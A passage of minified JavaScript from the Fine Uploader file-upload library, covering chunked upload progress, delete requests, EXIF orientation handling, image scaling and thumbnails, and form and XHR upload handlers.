s=n._getFileState(e).temp.chunkProgress,l=n._getFileState(e).loaded,u=o,d=a,p=c(e),h=u-(d-i),f=l;s[t]=h,qq.each(s,function(e,t){f+=t}),q(e,r,f,p)}};o.upload.onprogress=function(e){if(e.lengthComputable){var t=null==i?"simple":"chunked";a[t](e.loaded,e.total)}}},_registerXhr:function(e,t,i,o){var r=null==t?-1:t,a=n._getFileState(e).temp;return a.xhrs=a.xhrs||{},a.ajaxRequesters=a.ajaxRequesters||{},a.xhrs[r]=i,o&&(a.ajaxRequesters[r]=o),i},_removeExpiredChunkingRecords:function(){var e=a.recordsExpireIn;n._iterateResumeRecords(function(t,n){var i=new Date(n.lastUpdated);i.setDate(i.getDate()+e),i.getTime()<=Date.now()&&(m("Removing expired resume record with key "+t),localStorage.removeItem(t))})},_shouldChunkThisFile:function(e){var t=n._getFileState(e);return t.chunking||n.reevaluateChunking(e),t.chunking.enabled}})},qq.DeleteFileAjaxRequester=function(e){"use strict";function t(){return"POST"===i.method.toUpperCase()?{_method:"DELETE"}:{}}var n,i={method:"DELETE",uuidParamName:"qquuid",endpointStore:{},maxConnections:3,customHeaders:function(e){return{}},paramsStore:{},cors:{expected:!1,sendCredentials:!1},log:function(e,t){},onDelete:function(e){},onDeleteComplete:function(e,t,n){}};qq.extend(i,e),n=qq.extend(this,new qq.AjaxRequester({acceptHeader:"application/json",validMethods:["POST","DELETE"],method:i.method,endpointStore:i.endpointStore,paramsStore:i.paramsStore,mandatedParams:t(),maxConnections:i.maxConnections,customHeaders:function(e){return i.customHeaders.get(e)},log:i.log,onSend:i.onDelete,onComplete:i.onDeleteComplete,cors:i.cors})),qq.extend(this,{sendDelete:function(e,t,o){var r=o||{};i.log("Submitting delete file request for "+e),"DELETE"===i.method?n.initTransport(e).withPath(t).withParams(r).send():(r[i.uuidParamName]=t,n.initTransport(e).withParams(r).send())}})},function(){function e(e){var t,n=e.naturalWidth,i=e.naturalHeight,o=document.createElement("canvas");return n*i>1048576&&(o.width=o.height=1,t=o.getContext("2d"),t.drawImage(e,-n+1,0),0===t.getImageData(0,0,1,1).data[3])}function t(e,t,n){var i,o,r,a,s=document.createElement("canvas"),l=0,u=n,c=n;for(s.width=1,s.height=n,i=s.getContext("2d"),i.drawImage(e,0,0),o=i.getImageData(0,0,1,n).data;c>l;)r=o[4*(c-1)+3],0===r?u=c:l=c,c=u+l>>1;return a=c/n,0===a?1:a}function n(e,t,n,i){var r=document.createElement("canvas"),a=n.mime||"image/jpeg",s=new qq.Promise;return o(e,t,r,n,i).then(function(){s.success(r.toDataURL(a,n.quality||.8))}),s}function i(e){var t=5241e3;if(!qq.ios())throw new qq.Error("Downsampled dimensions can only be reliably calculated for iOS!");if(e.origHeight*e.origWidth>t)return{newHeight:Math.round(Math.sqrt(t*(e.origHeight/e.origWidth))),newWidth:Math.round(Math.sqrt(t*(e.origWidth/e.origHeight)))}}function o(n,o,s,l,u){var c,d=n.naturalWidth,p=n.naturalHeight,h=l.width,f=l.height,q=s.getContext("2d"),m=new qq.Promise;return q.save(),l.resize?r({blob:o,canvas:s,image:n,imageHeight:p,imageWidth:d,orientation:l.orientation,resize:l.resize,targetHeight:f,targetWidth:h}):(qq.supportedFeatures.unlimitedScaledImageSize||(c=i({origWidth:h,origHeight:f}),c&&(qq.log(qq.format("Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h",h,f,c.newWidth,c.newHeight),"warn"),h=c.newWidth,f=c.newHeight)),a(s,h,f,l.orientation),qq.ios()?!function(){e(n)&&(d/=2,p/=2);var i,o,r,a=1024,s=document.createElement("canvas"),l=u?t(n,d,p):1,c=Math.ceil(a*h/d),m=Math.ceil(a*f/p/l),g=0,_=0;for(s.width=s.height=a,i=s.getContext("2d");g<p;){for(o=0,r=0;o<d;)i.clearRect(0,0,a,a),i.drawImage(n,-o,-g),q.drawImage(s,0,0,a,a,r,_,c,m),o+=a,r+=c;g+=a,_+=m}q.restore(),s=i=null}():q.drawImage(n,0,0,h,f),s.qqImageRendered&&s.qqImageRendered(),m.success(),m)}function r(e){var t=e.blob,n=e.image,i=e.imageHeight,o=e.imageWidth,r=e.orientation,s=new qq.Promise,l=e.resize,u=document.createElement("canvas"),c=u.getContext("2d"),d=e.canvas,p=e.targetHeight,h=e.targetWidth;return a(u,o,i,r),d.height=p,d.width=h,c.drawImage(n,0,0),l({blob:t,height:p,image:n,sourceCanvas:u,targetCanvas:d,width:h}).then(function(){d.qqImageRendered&&d.qqImageRendered(),s.success()},s.failure),s}function a(e,t,n,i){switch(i){case 5:case 6:case 7:case 8:e.width=n,e.height=t;break;default:e.width=t,e.height=n}var o=e.getContext("2d");switch(i){case 2:o.translate(t,0),o.scale(-1,1);break;case 3:o.translate(t,n),o.rotate(Math.PI);break;case 4:o.translate(0,n),o.scale(1,-1);break;case 5:o.rotate(.5*Math.PI),o.scale(1,-1);break;case 6:o.rotate(.5*Math.PI),o.translate(0,-n);break;case 7:o.rotate(.5*Math.PI),o.translate(t,-n),o.scale(-1,1);break;case 8:o.rotate(-.5*Math.PI),o.translate(-t,0)}}function s(e,t){var n=this;window.Blob&&e instanceof Blob&&!function(){var t=new Image,i=window.URL&&window.URL.createObjectURL?window.URL:window.webkitURL&&window.webkitURL.createObjectURL?window.webkitURL:null;if(!i)throw Error("No createObjectURL function found to create blob url");t.src=i.createObjectURL(e),n.blob=e,e=t}(),e.naturalWidth||e.naturalHeight||(e.onload=function(){var e=n.imageLoadListeners;e&&(n.imageLoadListeners=null,setTimeout(function(){for(var t=0,n=e.length;t<n;t++)e[t]()},0))},e.onerror=t,this.imageLoadListeners=[]),this.srcImage=e}s.prototype.render=function(e,t){t=t||{};var i,r=this,a=this.srcImage.naturalWidth,s=this.srcImage.naturalHeight,l=t.width,u=t.height,c=t.maxWidth,d=t.maxHeight,p=!this.blob||"image/jpeg"===this.blob.type,h=e.tagName.toLowerCase();return this.imageLoadListeners?void this.imageLoadListeners.push(function(){r.render(e,t)}):(l&&!u?u=s*l/a<<0:u&&!l?l=a*u/s<<0:(l=a,u=s),c&&l>c&&(l=c,u=s*l/a<<0),d&&u>d&&(u=d,l=a*u/s<<0),i={width:l,height:u},qq.each(t,function(e,t){i[e]=t}),"img"===h?!function(){var t=e.src;n(r.srcImage,r.blob,i,p).then(function(n){e.src=n,t===e.src&&e.onload()})}():"canvas"===h&&o(this.srcImage,this.blob,e,i,p),void("function"==typeof this.onrender&&this.onrender(e)))},qq.MegaPixImage=s}(),qq.ImageGenerator=function(e){"use strict";function t(e){return"img"===e.tagName.toLowerCase()}function n(e){return"canvas"===e.tagName.toLowerCase()}function i(){return void 0!==(new Image).crossOrigin}function o(){var e=document.createElement("canvas");return e.getContext&&e.getContext("2d")}function r(e){var t=e.split("/"),n=t[t.length-1].split("?")[0],i=qq.getExtension(n);switch(i=i&&i.toLowerCase()){case"jpeg":case"jpg":return"image/jpeg";case"png":return"image/png";case"bmp":return"image/bmp";case"gif":return"image/gif";case"tiff":case"tif":return"image/tiff"}}function a(e){var t,n,i,o=document.createElement("a");return o.href=e,t=o.protocol,i=o.port,n=o.hostname,t.toLowerCase()!==window.location.protocol.toLowerCase()||(n.toLowerCase()!==window.location.hostname.toLowerCase()||i!==window.location.port&&!qq.ie())}function s(t,n){t.onload=function(){t.onload=null,t.onerror=null,n.success(t)},t.onerror=function(){t.onload=null,t.onerror=null,e("Problem drawing thumbnail!","error"),n.failure(t,"Problem drawing thumbnail!")}}function l(e,t){e.qqImageRendered=function(){t.success(e)}}function u(i,o){var r=t(i)||n(i);return t(i)?s(i,o):n(i)?l(i,o):(o.failure(i),e(qq.format("Element container of type {} is not supported!",i.tagName),"error")),r}function c(t,n,i){var o=new qq.Promise,r=new qq.Identify(t,e),a=i.maxSize,s=null==i.orient||i.orient,l=function(){n.onerror=null,n.onload=null,e("Could not render preview, file may be too large!","error"),o.failure(n,"Browser cannot render image!")};return r.isPreviewable().then(function(r){var c={parse:function(){return(new qq.Promise).success()}},d=s?new qq.Exif(t,e):c,p=new qq.MegaPixImage(t,l);u(n,o)&&d.parse().then(function(e){var t=e&&e.Orientation;p.render(n,{maxWidth:a,maxHeight:a,orientation:t,mime:r,resize:i.customResizeFunction})},function(t){e(qq.format("EXIF data could not be parsed ({}).  Assuming orientation = 1.",t)),p.render(n,{maxWidth:a,maxHeight:a,mime:r,resize:i.customResizeFunction})})},function(){e("Not previewable"),o.failure(n,"Not previewable")}),o}function d(e,t,n,i,o){var s=new Image,l=new qq.Promise;u(s,l),a(e)&&(s.crossOrigin="anonymous"),s.src=e,l.then(function(){u(t,n);var a=new qq.MegaPixImage(s);a.render(t,{maxWidth:i,maxHeight:i,mime:r(e),resize:o})},n.failure)}function p(e,t,n,i){u(t,n),qq(t).css({maxWidth:i+"px",maxHeight:i+"px"}),t.src=e}function h(e,r,s){var l=new qq.Promise,c=s.scale,h=c?s.maxSize:null;return c&&t(r)?o()?a(e)&&!i()?p(e,r,l,h):d(e,r,l,h):p(e,r,l,h):n(r)?d(e,r,l,h):u(r,l)&&(r.src=e),l}qq.extend(this,{generate:function(t,n,i){return qq.isString(t)?(e("Attempting to update thumbnail based on server response."),h(t,n,i||{})):(e("Attempting to draw client-side image preview."),c(t,n,i||{}))}}),this._testing={},this._testing.isImg=t,this._testing.isCanvas=n,this._testing.isCrossOrigin=a,this._testing.determineMimeOfFileName=r},qq.Exif=function(e,t){"use strict";function n(e){for(var t=0,n=0;e.length>0;)t+=parseInt(e.substring(0,2),16)*Math.pow(2,n),e=e.substring(2,e.length),n+=8;return t}function i(t,n){var o=t,r=n;return void 0===o&&(o=2,r=new qq.Promise),qq.readBlobToHex(e,o,4).then(function(e){var t,n=/^ffe([0-9])/.exec(e);n?"1"!==n[1]?(t=parseInt(e.slice(4,8),16),i(o+t+2,r)):r.success(o):r.failure("No EXIF header to be found!")}),r}function o(){var t=new qq.Promise;return qq.readBlobToHex(e,0,6).then(function(e){0!==e.indexOf("ffd8")?t.failure("Not a valid JPEG!"):i().then(function(e){t.success(e)},function(e){t.failure(e)})}),t}function r(t){var n=new qq.Promise;return qq.readBlobToHex(e,t+10,2).then(function(e){n.success("4949"===e)}),n}function a(t,i){var o=new qq.Promise;return qq.readBlobToHex(e,t+18,2).then(function(e){return i?o.success(n(e)):void o.success(parseInt(e,16))}),o}function s(t,n){var i=t+20,o=12*n;return qq.readBlobToHex(e,i,o)}function l(e){for(var t=[],n=0;n+24<=e.length;)t.push(e.slice(n,n+24)),n+=24;return t}function u(e,t){var i=16,o=qq.extend([],c),r={};return qq.each(t,function(t,a){var s,l,u,c=a.slice(0,4),p=e?n(c):parseInt(c,16),h=o.indexOf(p);if(h>=0&&(l=d[p].name,u=d[p].bytes,s=a.slice(i,i+2*u),r[l]=e?n(s):parseInt(s,16),o.splice(h,1)),0===o.length)return!1}),r}var c=[274],d={274:{name:"Orientation",bytes:2}};qq.extend(this,{parse:function(){var n=new qq.Promise,i=function(e){t(qq.format("EXIF header parse failed: '{}' ",e)),n.failure(e)};return o().then(function(o){t(qq.format("Moving forward with EXIF header parsing for '{}'",void 0===e.name?"blob":e.name)),r(o).then(function(e){t(qq.format("EXIF Byte order is {} endian",e?"little":"big")),a(o,e).then(function(r){t(qq.format("Found {} APP1 directory entries",r)),s(o,r).then(function(i){var o=l(i),r=u(e,o);t("Successfully parsed some EXIF tags"),n.success(r)},i)},i)},i)},i),n}}),this._testing={},this._testing.parseLittleEndian=n},qq.Identify=function(e,t){"use strict";function n(e,t){var n=!1,i=[].concat(e);return qq.each(i,function(e,i){if(0===t.indexOf(i))return n=!0,!1}),n}qq.extend(this,{isPreviewable:function(){var i=this,o=new qq.Promise,r=!1,a=void 0===e.name?"blob":e.name;return t(qq.format("Attempting to determine if {} can be rendered in this browser",a)),t("First pass: check type attribute of blob object."),this.isPreviewableSync()?(t("Second pass: check for magic bytes in file header."),qq.readBlobToHex(e,0,4).then(function(e){qq.each(i.PREVIEWABLE_MIME_TYPES,function(t,i){if(n(i,e))return("image/tiff"!==t||qq.supportedFeatures.tiffPreviews)&&(r=!0,o.success(t)),!1}),t(qq.format("'{}' is {} able to be rendered in this browser",a,r?"":"NOT")),r||o.failure()},function(){t("Error reading file w/ name '"+a+"'.  Not able to be rendered in this browser."),o.failure()})):o.failure(),o},isPreviewableSync:function(){var n=e.type,i=qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES),n)>=0,o=!1,r=void 0===e.name?"blob":e.name;return i&&(o="image/tiff"!==n||qq.supportedFeatures.tiffPreviews),!o&&t(r+" is not previewable in this browser per the blob's type attr"),o}})},qq.Identify.prototype.PREVIEWABLE_MIME_TYPES={"image/jpeg":"ffd8ff","image/gif":"474946","image/png":"89504e","image/bmp":"424d","image/tiff":["49492a00","4d4d002a"]},qq.Identify=function(e,t){"use strict";function n(e,t){var n=!1,i=[].concat(e);return qq.each(i,function(e,i){if(0===t.indexOf(i))return n=!0,!1}),n}qq.extend(this,{isPreviewable:function(){var i=this,o=new qq.Promise,r=!1,a=void 0===e.name?"blob":e.name;return t(qq.format("Attempting to determine if {} can be rendered in this browser",a)),t("First pass: check type attribute of blob object."),this.isPreviewableSync()?(t("Second pass: check for magic bytes in file header."),qq.readBlobToHex(e,0,4).then(function(e){qq.each(i.PREVIEWABLE_MIME_TYPES,function(t,i){if(n(i,e))return("image/tiff"!==t||qq.supportedFeatures.tiffPreviews)&&(r=!0,o.success(t)),!1}),t(qq.format("'{}' is {} able to be rendered in this browser",a,r?"":"NOT")),r||o.failure()},function(){t("Error reading file w/ name '"+a+"'.  Not able to be rendered in this browser."),o.failure()})):o.failure(),o},isPreviewableSync:function(){var n=e.type,i=qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES),n)>=0,o=!1,r=void 0===e.name?"blob":e.name;return i&&(o="image/tiff"!==n||qq.supportedFeatures.tiffPreviews),!o&&t(r+" is not previewable in this browser per the blob's type attr"),o}})},qq.Identify.prototype.PREVIEWABLE_MIME_TYPES={"image/jpeg":"ffd8ff","image/gif":"474946","image/png":"89504e","image/bmp":"424d","image/tiff":["49492a00","4d4d002a"]},qq.ImageValidation=function(e,t){"use strict";function n(e){var t=!1;return qq.each(e,function(e,n){if(n>0)return t=!0,!1}),t}function i(){var n=new qq.Promise;return new qq.Identify(e,t).isPreviewable().then(function(){var i=new Image,o=window.URL&&window.URL.createObjectURL?window.URL:window.webkitURL&&window.webkitURL.createObjectURL?window.webkitURL:null;o?(i.onerror=function(){t("Cannot determine dimensions for image.  May be too large.","error"),n.failure()},i.onload=function(){n.success({width:this.width,height:this.height})},i.src=o.createObjectURL(e)):(t("No createObjectURL function available to generate image URL!","error"),n.failure())},n.failure),n}function o(e,t){var n;return qq.each(e,function(e,i){if(i>0){var o=/(max|min)(Width|Height)/.exec(e),r=o[2].charAt(0).toLowerCase()+o[2].slice(1),a=t[r];switch(o[1]){case"min":if(a<i)return n=e,!1;break;case"max":if(a>i)return n=e,!1}}}),n}this.validate=function(e){var r=new qq.Promise;return t("Attempting to validate image."),n(e)?i().then(function(t){var n=o(e,t);n?r.failure(n):r.success()},r.success):r.success(),r}},qq.Session=function(e){"use strict";function t(e){return!!qq.isArray(e)||void i.log("Session response is not an array.","error")}function n(e,n,o,r){var a=!1;n=n&&t(e),n&&qq.each(e,function(e,t){if(null==t.uuid)a=!0,i.log(qq.format("Session response item {} did not include a valid UUID - ignoring.",e),"error");else if(null==t.name)a=!0,i.log(qq.format("Session response item {} did not include a valid name - ignoring.",e),"error");else try{return i.addFileRecord(t),!0}catch(e){a=!0,i.log(e.message,"error")}return!1}),r[n&&!a?"success":"failure"](e,o)}var i={endpoint:null,params:{},customHeaders:{},cors:{},addFileRecord:function(e){},log:function(e,t){}};qq.extend(i,e,!0),this.refresh=function(){var e=new qq.Promise,t=function(t,i,o){n(t,i,o,e)},o=qq.extend({},i),r=new qq.SessionAjaxRequester(qq.extend(o,{onComplete:t}));return r.queryServer(),e}},qq.SessionAjaxRequester=function(e){"use strict";function t(e,t,n){var o=null;if(null!=t.responseText)try{o=qq.parseJson(t.responseText)}catch(e){i.log("Problem parsing session response: "+e.message,"error"),n=!0}i.onComplete(o,!n,t)}var n,i={endpoint:null,customHeaders:{},params:{},cors:{expected:!1,sendCredentials:!1},onComplete:function(e,t,n){},log:function(e,t){}};qq.extend(i,e),n=qq.extend(this,new qq.AjaxRequester({acceptHeader:"application/json",validMethods:["GET"],method:"GET",endpointStore:{get:function(){return i.endpoint}},customHeaders:i.customHeaders,log:i.log,onComplete:t,cors:i.cors})),qq.extend(this,{queryServer:function(){var e=qq.extend({},i.params);i.log("Session query request."),n.initTransport("sessionRefresh").withParams(e).withCacheBuster().send()}})},qq.Scaler=function(e,t){"use strict";var n=e.customResizer,i=e.sendOriginal,o=e.orient,r=e.defaultType,a=e.defaultQuality/100,s=e.failureText,l=e.includeExif,u=this._getSortedSizes(e.sizes);qq.extend(this,{enabled:qq.supportedFeatures.scaling&&u.length>0,getFileRecords:function(e,c,d){var p=this,h=[],f=d.blob?d.blob:d,q=new qq.Identify(f,t);return q.isPreviewableSync()?(qq.each(u,function(e,i){var u=p._determineOutputType({defaultType:r,requestedType:i.type,refType:f.type});h.push({uuid:qq.getUniqueId(),name:p._getName(c,{name:i.name,type:u,refType:f.type}),blob:new qq.BlobProxy(f,qq.bind(p._generateScaledImage,p,{customResizeFunction:n,maxSize:i.maxSize,orient:o,type:u,quality:a,failedText:s,includeExif:l,log:t}))})}),h.push({uuid:e,name:c,size:f.size,blob:i?f:null})):h.push({uuid:e,name:c,size:f.size,blob:f}),h},handleNewFile:function(e,t,n,i,o,r,a,s){var l=this,u=(e.qqButtonId||e.blob&&e.blob.qqButtonId,[]),c=null,d=s.addFileToHandler,p=s.uploadData,h=s.paramsStore,f=qq.getUniqueId();qq.each(l.getFileRecords(n,t,e),function(e,t){var n,i=t.size;t.blob instanceof qq.BlobProxy&&(i=-1),n=p.addFile({uuid:t.uuid,name:t.name,size:i,batchId:r,proxyGroupId:f}),t.blob instanceof qq.BlobProxy?u.push(n):c=n,t.blob?(d(n,t.blob),o.push({id:n,file:t.blob})):p.setStatus(n,qq.status.REJECTED)}),null!==c&&(qq.each(u,function(e,t){var n={qqparentuuid:p.retrieve({id:c}).uuid,qqparentsize:p.retrieve({id:c}).size};n[a]=p.retrieve({id:t}).uuid,p.setParentId(t,c),h.addReadOnly(t,n)}),u.length&&!function(){var e={};e[a]=p.retrieve({id:c}).uuid,h.addReadOnly(c,e)}())}})},qq.extend(qq.Scaler.prototype,{scaleImage:function(e,t,n){"use strict";if(!qq.supportedFeatures.scaling)throw new qq.Error("Scaling is not supported in this browser!");var i=new qq.Promise,o=n.log,r=n.getFile(e),a=n.uploadData.retrieve({id:e}),s=a&&a.name,l=a&&a.uuid,u={customResizer:t.customResizer,sendOriginal:!1,orient:t.orient,defaultType:t.type||null,defaultQuality:t.quality,failedToScaleText:"Unable to scale",sizes:[{name:"",maxSize:t.maxSize}]},c=new qq.Scaler(u,o);return qq.Scaler&&qq.supportedFeatures.imagePreviews&&r?qq.bind(function(){var t=c.getFileRecords(l,s,r)[0];t&&t.blob instanceof qq.BlobProxy?t.blob.create().then(i.success,i.failure):(o(e+" is not a scalable image!","error"),i.failure())},this)():(i.failure(),o("Could not generate requested scaled image for "+e+".  Scaling is either not possible in this browser, or the file could not be located.","error")),i},_determineOutputType:function(e){"use strict";var t=e.requestedType,n=e.defaultType,i=e.refType;return n||t?t&&qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES),t)>=0?"image/tiff"===t?qq.supportedFeatures.tiffPreviews?t:n:t:n:"image/jpeg"!==i?"image/png":i},_getName:function(e,t){"use strict";var n=e.lastIndexOf("."),i=t.type||"image/png",o=t.refType,r="",a=qq.getExtension(e),s="";return t.name&&t.name.trim().length&&(s=" ("+t.name+")"),n>=0?(r=e.substr(0,n),o!==i&&(a=i.split("/")[1]),r+=s+"."+a):r=e+s,r},_getSortedSizes:function(e){"use strict";return e=qq.extend([],e),e.sort(function(e,t){return e.maxSize>t.maxSize?1:e.maxSize<t.maxSize?-1:0})},_generateScaledImage:function(e,t){"use strict";var n=this,i=e.customResizeFunction,o=e.log,r=e.maxSize,a=e.orient,s=e.type,l=e.quality,u=e.failedText,c=e.includeExif&&"image/jpeg"===t.type&&"image/jpeg"===s,d=new qq.Promise,p=new qq.ImageGenerator(o),h=document.createElement("canvas");return o("Attempting to generate scaled version for "+t.name),p.generate(t,h,{maxSize:r,orient:a,customResizeFunction:i}).then(function(){var e=h.toDataURL(s,l),i=function(){o("Success generating scaled version for "+t.name);var n=qq.dataUriToBlob(e);d.success(n)};c?n._insertExifHeader(t,e,o).then(function(t){e=t,i()},function(){o("Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.","error"),i()}):i()},function(){o("Failed attempt to generate scaled version for "+t.name,"error"),d.failure(u)}),d},_insertExifHeader:function(e,t,n){"use strict";var i=new FileReader,o=new qq.Promise,r="";return i.onload=function(){r=i.result,o.success(qq.ExifRestorer.restore(r,t))},i.onerror=function(){n("Problem reading "+e.name+" during attempt to transfer EXIF data to scaled version.","error"),o.failure()},i.readAsDataURL(e),o},_dataUriToBlob:function(e){"use strict";var t,n,i,o;return t=e.split(",")[0].indexOf("base64")>=0?atob(e.split(",")[1]):decodeURI(e.split(",")[1]),n=e.split(",")[0].split(":")[1].split(";")[0],i=new ArrayBuffer(t.length),o=new Uint8Array(i),qq.each(t,function(e,t){o[e]=t.charCodeAt(0)}),this._createBlob(i,n)},_createBlob:function(e,t){"use strict";var n=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder||window.MSBlobBuilder,i=n&&new n;return i?(i.append(e),i.getBlob(t)):new Blob([e],{type:t})}}),qq.ExifRestorer=function(){var e={};return e.KEY_STR="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",e.encode64=function(e){var t,n,i,o,r,a="",s="",l="",u=0;do t=e[u++],n=e[u++],s=e[u++],i=t>>2,o=(3&t)<<4|n>>4,r=(15&n)<<2|s>>6,l=63&s,isNaN(n)?r=l=64:isNaN(s)&&(l=64),a=a+this.KEY_STR.charAt(i)+this.KEY_STR.charAt(o)+this.KEY_STR.charAt(r)+this.KEY_STR.charAt(l),
t=n=s="",i=o=r=l="";while(u<e.length);return a},e.restore=function(e,t){var n="data:image/jpeg;base64,";if(!e.match(n))return t;var i=this.decode64(e.replace(n,"")),o=this.slice2Segments(i),r=this.exifManipulation(t,o);return n+this.encode64(r)},e.exifManipulation=function(e,t){var n=this.getExifArray(t),i=this.insertExif(e,n),o=new Uint8Array(i);return o},e.getExifArray=function(e){for(var t,n=0;n<e.length;n++)if(t=e[n],255==t[0]&225==t[1])return t;return[]},e.insertExif=function(e,t){var n=e.replace("data:image/jpeg;base64,",""),i=this.decode64(n),o=i.indexOf(255,3),r=i.slice(0,o),a=i.slice(o),s=r;return s=s.concat(t),s=s.concat(a)},e.slice2Segments=function(e){for(var t=0,n=[];;){if(255==e[t]&218==e[t+1])break;if(255==e[t]&216==e[t+1])t+=2;else{var i=256*e[t+2]+e[t+3],o=t+i+2,r=e.slice(t,o);n.push(r),t=o}if(t>e.length)break}return n},e.decode64=function(e){var t,n,i,o,r,a="",s="",l=0,u=[],c=/[^A-Za-z0-9\+\/\=]/g;if(c.exec(e))throw new Error("There were invalid base64 characters in the input text.  Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='");e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");do i=this.KEY_STR.indexOf(e.charAt(l++)),o=this.KEY_STR.indexOf(e.charAt(l++)),r=this.KEY_STR.indexOf(e.charAt(l++)),s=this.KEY_STR.indexOf(e.charAt(l++)),t=i<<2|o>>4,n=(15&o)<<4|r>>2,a=(3&r)<<6|s,u.push(t),64!=r&&u.push(n),64!=s&&u.push(a),t=n=a="",i=o=r=s="";while(l<e.length);return u},e}(),qq.TotalProgress=function(e,t){"use strict";var n={},i=0,o=0,r=-1,a=-1,s=function(t,n){t===r&&n===a||e(t,n),r=t,a=n},l=function(e,t){var n=!0;return qq.each(e,function(e,i){if(qq.indexOf(t,i)>=0)return n=!1,!1}),n},u=function(e){p(e,-1,-1),delete n[e]},c=function(e,t,n){(0===t.length||l(t,n))&&(s(o,o),this.reset())},d=function(e){var i=t(e);i>0&&(p(e,0,i),n[e]={loaded:0,total:i})},p=function(e,t,r){var a=n[e]?n[e].loaded:0,l=n[e]?n[e].total:0;t===-1&&r===-1?(i-=a,o-=l):(t&&(i+=t-a),r&&(o+=r-l)),s(i,o)};qq.extend(this,{onAllComplete:c,onStatusChange:function(e,t,n){n===qq.status.CANCELED||n===qq.status.REJECTED?u(e):n===qq.status.SUBMITTING&&d(e)},onIndividualProgress:function(e,t,i){p(e,t,i),n[e]={loaded:t,total:i}},onNewSize:function(e){d(e)},reset:function(){n={},i=0,o=0}})},qq.PasteSupport=function(e){"use strict";function t(e){return e.type&&0===e.type.indexOf("image/")}function n(){r=qq(o.targetElement).attach("paste",function(e){var n=e.clipboardData;n&&qq.each(n.items,function(e,n){if(t(n)){var i=n.getAsFile();o.callbacks.pasteReceived(i)}})})}function i(){r&&r()}var o,r;o={targetElement:null,callbacks:{log:function(e,t){},pasteReceived:function(e){}}},qq.extend(o,e),n(),qq.extend(this,{reset:function(){i()}})},qq.FormSupport=function(e,t,n){"use strict";function i(e){e.getAttribute("action")&&(s.newEndpoint=e.getAttribute("action"))}function o(e,t){return!(e.checkValidity&&!e.checkValidity())||(n("Form did not pass validation checks - will not upload.","error"),void t())}function r(e){var n=e.submit;qq(e).attach("submit",function(i){i=i||window.event,i.preventDefault?i.preventDefault():i.returnValue=!1,o(e,n)&&t()}),e.submit=function(){o(e,n)&&t()}}function a(e){return e&&(qq.isString(e)&&(e=document.getElementById(e)),e&&(n("Attaching to form element."),i(e),l&&r(e))),e}var s=this,l=e.interceptSubmit,u=e.element,c=e.autoUpload;qq.extend(this,{newEndpoint:null,newAutoUpload:c,attachedToForm:!1,getFormInputsAsObject:function(){return null==u?null:s._form2Obj(u)}}),u=a(u),this.attachedToForm=!!u},qq.extend(qq.FormSupport.prototype,{_form2Obj:function(e){"use strict";var t={},n=function(e){var t=["button","image","reset","submit"];return qq.indexOf(t,e.toLowerCase())<0},i=function(e){return qq.indexOf(["checkbox","radio"],e.toLowerCase())>=0},o=function(e){return!(!i(e.type)||e.checked)||e.disabled&&"hidden"!==e.type.toLowerCase()},r=function(e){var t=null;return qq.each(qq(e).children(),function(e,n){if("option"===n.tagName.toLowerCase()&&n.selected)return t=n.value,!1}),t};return qq.each(e.elements,function(e,i){if(!qq.isInput(i,!0)&&"textarea"!==i.tagName.toLowerCase()||!n(i.type)||o(i)){if("select"===i.tagName.toLowerCase()&&!o(i)){var a=r(i);null!==a&&(t[i.name]=a)}}else t[i.name]=i.value}),t}}),qq.traditional=qq.traditional||{},qq.traditional.FormUploadHandler=function(e,t){"use strict";function n(e,t){var n,i,r;try{i=t.contentDocument||t.contentWindow.document,r=i.body.innerHTML,s("converting iframe's innerHTML to JSON"),s("innerHTML = "+r),r&&r.match(/^<pre/i)&&(r=i.body.firstChild.firstChild.nodeValue),n=o._parseJsonResponse(r)}catch(e){s("Error when attempting to parse form upload response ("+e.message+")","error"),n={success:!1}}return n}function i(t,n){var i=e.paramsStore.get(t),s="get"===e.method.toLowerCase()?"GET":"POST",l=e.endpointStore.get(t),u=r(t);return i[e.uuidName]=a(t),i[e.filenameParam]=u,o._initFormForUpload({method:s,endpoint:l,params:i,paramsInBody:e.paramsInBody,targetName:n.name})}var o=this,r=t.getName,a=t.getUuid,s=t.log;this.uploadFile=function(t){var r,a=o.getInput(t),l=o._createIframe(t),u=new qq.Promise;return r=i(t,l),r.appendChild(a),o._attachLoadEvent(l,function(i){s("iframe loaded");var r=i?i:n(t,l);o._detachLoadEvent(t),e.cors.expected||qq(l).remove(),r.success?u.success(r):u.failure(r)}),s("Sending upload request for "+t),r.submit(),qq(r).remove(),u},qq.extend(this,new qq.FormUploadHandler({options:{isCors:e.cors.expected,inputName:e.inputName},proxy:{onCancel:e.onCancel,getName:r,getUuid:a,log:s}}))},qq.traditional=qq.traditional||{},qq.traditional.XhrUploadHandler=function(e,t){"use strict";var n=this,i=t.getName,o=t.getSize,r=t.getUuid,a=t.log,s=e.forceMultipart||e.paramsInBody,l=function(t,n,r){var a=o(t),l=i(t);n[e.chunking.paramNames.partIndex]=r.part,n[e.chunking.paramNames.partByteOffset]=r.start,n[e.chunking.paramNames.chunkSize]=r.size,n[e.chunking.paramNames.totalParts]=r.count,n[e.totalFileSizeName]=a,s&&(n[e.filenameParam]=l)},u=new qq.traditional.AllChunksDoneAjaxRequester({cors:e.cors,endpoint:e.chunking.success.endpoint,log:a}),c=function(e,t){var n=new qq.Promise;return t.onreadystatechange=function(){if(4===t.readyState){var i=h(e,t);i.success?n.success(i.response,t):n.failure(i.response,t)}},n},d=function(t){var a=e.paramsStore.get(t),s=i(t),l=o(t);return a[e.uuidName]=r(t),a[e.filenameParam]=s,a[e.totalFileSizeName]=l,a[e.chunking.paramNames.totalParts]=n._getTotalChunks(t),a},p=function(e,t){return qq.indexOf([200,201,202,203,204],e.status)<0||!t.success||t.reset},h=function(e,t){var n;return a("xhr - server response received for "+e),a("responseText = "+t.responseText),n=f(!0,t),{success:!p(t,n),response:n}},f=function(e,t){var n={};try{a(qq.format("Received response status {} with body: {}",t.status,t.responseText)),n=qq.parseJson(t.responseText)}catch(t){e&&a("Error when attempting to parse xhr response text ("+t.message+")","error")}return n},q=function(t){var i=new qq.Promise;return 